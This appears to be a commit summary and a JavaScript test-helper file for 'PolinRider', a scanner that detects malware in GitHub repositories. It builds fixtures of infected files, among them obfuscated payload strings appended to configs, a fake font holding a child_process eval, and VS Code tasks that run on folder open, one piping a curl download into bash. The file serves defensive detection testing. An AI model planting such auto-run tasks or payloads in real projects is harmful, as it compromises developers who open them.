- Introduced core files including Dockerfile, action.yml, and entry point script (bin/polinrider.js) for the PolinRider malware scanner. - Created configuration files: .env.example, .gitignore, and .npmrc for environment setup and dependency management. - Added CI workflows for testing, building, and releasing the action, along with examples for usage in GitHub Actions. - Implemented a README.md to provide documentation on usage, features, and setup instructions. - Included necessary scripts for building the action and handling security measures during execution. - Established a structured directory for reports and workspace management within Docker. - Ensured all files are set up for a secure and efficient scanning process of GitHub repositories for PolinRider malware.
172 lines
5.6 KiB
JavaScript
172 lines
5.6 KiB
JavaScript
/**
|
|
* Test helpers: build throwaway repo trees in the OS temp dir, plus realistic
|
|
* payload/font fixtures derived from the real signatures.
|
|
*/
|
|
import os from "node:os";
|
|
import path from "node:path";
|
|
import fs from "node:fs";
|
|
import fsp from "node:fs/promises";
|
|
|
|
const created = [];
|
|
|
|
/** Create a unique temp directory; auto-cleaned by cleanupAll(). */
|
|
export function mkTmpDir(prefix = "polin-test-") {
|
|
const dir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
|
|
created.push(dir);
|
|
return dir;
|
|
}
|
|
|
|
/**
|
|
* Write a map of { relativePath: string | Buffer } into `dir`.
|
|
* @returns {Promise<string>} dir
|
|
*/
|
|
export async function writeFiles(dir, files) {
|
|
for (const [rel, content] of Object.entries(files)) {
|
|
const full = path.join(dir, rel);
|
|
await fsp.mkdir(path.dirname(full), { recursive: true });
|
|
await fsp.writeFile(full, content);
|
|
}
|
|
return dir;
|
|
}
|
|
|
|
/** Build a repo in a fresh temp dir from a file map. */
|
|
export async function makeRepo(files) {
|
|
return writeFiles(mkTmpDir(), files);
|
|
}
|
|
|
|
export function cleanupAll() {
|
|
for (const d of created.splice(0)) {
|
|
try {
|
|
fs.rmSync(d, { recursive: true, force: true });
|
|
} catch {
|
|
/* ignore */
|
|
}
|
|
}
|
|
}
|
|
|
|
// ─── Realistic payload fixtures (match src/signatures.js) ───────────────────────
|
|
|
|
export const LEGIT_CONFIG = `export default {\n plugins: { tailwindcss: {}, autoprefixer: {} },\n};\n`;
|
|
|
|
export const ORIGINAL_PAYLOAD =
|
|
`global['!']='8-270-2';var _$_1e42=["rmcej%otb%",2857687,2667686];` +
|
|
`eval(String.fromCharCode(49,43,49));\n`;
|
|
|
|
export const ROTATED_PAYLOAD =
|
|
`global['_V']='8-991';var MDy=["Cot%3t=shtP",1111436,3896884];` +
|
|
`eval(String.fromCharCode(49,43,49));\n`;
|
|
|
|
// Looks like an appended obfuscated blob but matches no KNOWN signature/seed.
|
|
export const GENERIC_PAYLOAD =
|
|
`global['zz']=42;var _$_abcd=[12,34,56,78,90];eval(atob('MSt1'));\n`;
|
|
|
|
export function infectedConfig(payload) {
|
|
return LEGIT_CONFIG + "\n" + payload;
|
|
}
|
|
|
|
// ─── Font fixtures ──────────────────────────────────────────────────────────────
|
|
|
|
/**
|
|
* Structurally valid WOFF2: correct magic, a declared length that matches the
|
|
* actual byte length, and a non-zero table count. Inert padding.
|
|
*/
|
|
export function validWoff2(size = 64) {
|
|
const buf = Buffer.alloc(Math.max(size, 16), 0x00);
|
|
buf.write("wOF2", 0, "latin1");
|
|
buf.writeUInt32BE(0x4f54544f, 4); // flavor: OTTO
|
|
buf.writeUInt32BE(buf.length, 8); // total length == file size
|
|
buf.writeUInt16BE(4, 12); // numTables (non-zero)
|
|
return buf;
|
|
}
|
|
|
|
/**
|
|
* Structurally valid OTTO sfnt with a single in-bounds table whose bytes embed
|
|
* `extra` text. Used to prove that a genuine font is NOT flagged even when it
|
|
* contains a license URL and a long base64-looking run — the exact bytes that
|
|
* previously produced false positives on real commercial fonts.
|
|
*/
|
|
export function validSfnt(extra = "") {
|
|
const numTables = 1;
|
|
const dirEnd = 12 + numTables * 16;
|
|
const body = Buffer.from(extra, "latin1");
|
|
const buf = Buffer.alloc(dirEnd + body.length, 0x00);
|
|
buf.write("OTTO", 0, "latin1"); // sfntVersion → otf
|
|
buf.writeUInt16BE(numTables, 4);
|
|
buf.write("CFF ", 12, "latin1"); // table tag
|
|
buf.writeUInt32BE(0, 16); // checksum
|
|
buf.writeUInt32BE(dirEnd, 20); // table offset (right after the directory)
|
|
buf.writeUInt32BE(body.length, 24); // table length
|
|
body.copy(buf, dirEnd);
|
|
return buf;
|
|
}
|
|
|
|
/** A real-font byte pattern that used to trip the old heuristics: a vendor URL + a long base64-ish run. */
|
|
export const REAL_FONT_STRINGS =
|
|
"Copyright. http://www.monotypeimaging.com " + "A".repeat(400);
|
|
|
|
/** Structurally valid font (default WOFF2), inert padding (no JS-like strings). */
|
|
export function goodFont() {
|
|
return validWoff2(256);
|
|
}
|
|
|
|
/** Fake "font": no font magic + embedded JS payload → confirmed carrier. */
|
|
export function evilFont() {
|
|
return Buffer.from(
|
|
"global['!']='x';var _$_1e42=[1];eval(require('child_process').toString());function(){}",
|
|
"latin1",
|
|
);
|
|
}
|
|
|
|
// ─── .vscode fixtures ─────────────────────────────────────────────────────────────
|
|
|
|
export const LEGIT_TASKS = `{
|
|
// Build tasks
|
|
"version": "2.0.0",
|
|
"tasks": [
|
|
{ "label": "build", "type": "shell", "command": "npm run build" },
|
|
{ "label": "test", "type": "npm", "script": "test" },
|
|
]
|
|
}
|
|
`;
|
|
|
|
export const INFECTED_TASKS = `{
|
|
"version": "2.0.0",
|
|
"tasks": [
|
|
{ "label": "build", "type": "shell", "command": "npm run build" },
|
|
{
|
|
"label": "[auto]",
|
|
"type": "shell",
|
|
"command": "curl -fsSL https://default-configuration.vercel.app/x | bash",
|
|
"runOptions": { "runOn": "folderOpen" }
|
|
}
|
|
]
|
|
}
|
|
`;
|
|
|
|
export const LEGIT_LAUNCH = `{
|
|
"version": "0.2.0",
|
|
"configurations": [
|
|
{ "type": "node", "request": "launch", "name": "Run", "program": "\${workspaceFolder}/index.js" }
|
|
]
|
|
}
|
|
`;
|
|
|
|
// Real-world PolinRider tasks.json: a folderOpen task that runs the payload font
|
|
// through node (no curl/URL — the old fetch-to-shell detector missed this).
|
|
export const INFECTED_TASKS_NODE = `{
|
|
"version": "2.0.0",
|
|
"configurations": [
|
|
{ "type": "node", "request": "launch", "name": "Run My Project" }
|
|
],
|
|
"tasks": [
|
|
{
|
|
"label": "eslint-check",
|
|
"type": "shell",
|
|
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2)",
|
|
"isBackground": true,
|
|
"runOptions": { "runOn": "folderOpen" }
|
|
}
|
|
]
|
|
}
|
|
`;
|